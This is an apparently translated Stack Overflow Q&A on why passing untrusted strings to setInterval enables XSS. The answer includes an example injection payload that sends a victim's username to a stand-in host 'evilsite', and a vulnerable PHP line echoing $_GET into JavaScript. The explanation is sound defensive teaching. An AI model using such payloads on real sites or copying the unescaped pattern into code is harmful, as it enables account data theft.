javascript - 为什么 setInterval 对 XSS 不安全?

标签 javascript security xss

我正在浏览 OWASP Cross Site Scripting Prevent Cheat Sheet .在规则 #3 中它说:

Please note there are some JavaScript functions that can never safely use untrusted data as input - EVEN IF JAVASCRIPT ESCAPED!

<script>
window.setInterval('...EVEN IF YOU ESCAPE UNTRUSTED DATA YOU ARE XSSED HERE...');
</script>

澄清:

  1. 我知道使用 setInterval 等。 自己的内容是安全的。
  2. 我知道一个人必须验证、转义和/或净化外部内容。

我的理解是规则 #3 暗示攻击者可以绕过任何你能想到的 XSS 过滤器,如果你使用 setInterval

你有他们的意思的例子吗?使用 setInterval 永远无法避免哪种 XSS 攻击?

这里有一个类似的问题:.setinterval and XSS不幸的是,答案对我没有帮助。

最佳答案

先介绍一些背景:

转义以抵御 XSS 涉及添加合适的转义字符,以便流氓数据无法从您放置的任何地方逃脱并被评估为 JavaScript。

例如给定用户输入的 xss' + window.location = "http://evilsite/steal?username="+ encodeURLComponent(document.getElementById("user-widget").textContent) + '/p>

如果您使用服务器端代码将其插入到字符串文字中:

const userinput = '<?php echo $_GET("userinput"); ?>'

你会得到:

const userinput = 'xss' + window.location = "http://evilsite/steal?username=" + encodeURLComponent(document.getElementById("user-widget").textContent) + ''`

然后 ' 会从 JS 中的字符串文字中跳出,窃取用户名,并将其发送到攻击者的网站。 (还有比可能被盗的用户名更糟糕的事情。

转义是为了防止数据像这样脱离字符串文字:

const userinput = 'xss\' + window.location = \"http://evilsite/steal?username=\" + encodeURLComponent(document.getElementById(\"user-widget\").textContent) + \''`

因此攻击代码只是成为字符串的一部分,而不是作为原始代码评估


将字符串传递给setInterval(或setTimeoutnew Functioneval 等)的问题是它们是设计用于评估代码的函数。

攻击者无需突破字符串文字即可执行其代码。它已经发生了。


My question is about understanding why setInterval can never be safe from XSS.

那不是你引用的警告所说的。它说它永远不能安全地使用不受信任的数据作为输入。如果您将自己的代码放在那里,那将是绝对安全的。当您评估某些用户输入时,您就会遇到问题。

将字符串传递给 setInterval 无论如何不是一个好主意。它很难调试,而且速度相对较慢。

改为传递一个函数。您甚至可以安全地使用用户输入(因为它没有被评估为代码,它只是一个带有字符串的变量)。

const userinput = "properly escaped user input";

setInterval(() => {
    document.body.appendChild(
        document.createTextNode(userinput)
    );
}, 1000);

关于javascript - 为什么 setInterval 对 XSS 不安全?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/62872675/

相关文章:

javascript - 如何从 d3 中的数组中获取索引号?

javascript - 使用多个单选框禁用多个输入字段

spring - 如何知道当前 Web 访问者是否使用 Spring Security 3.0 登录

security - ubuntu 将文件从 windows 复制到/var/www 风险

html - 这种应用内容安全策略的方法可以吗?

java - OWASP HTML Sanitizer 清理评论

javascript - <li></li> 中的数组值

javascript - meteor .js : I want to play a sound when someone recieves a message in a simple chat app

java - 如何保护 Android 应用程序的安全

html - XSS 攻击,多次 html 清理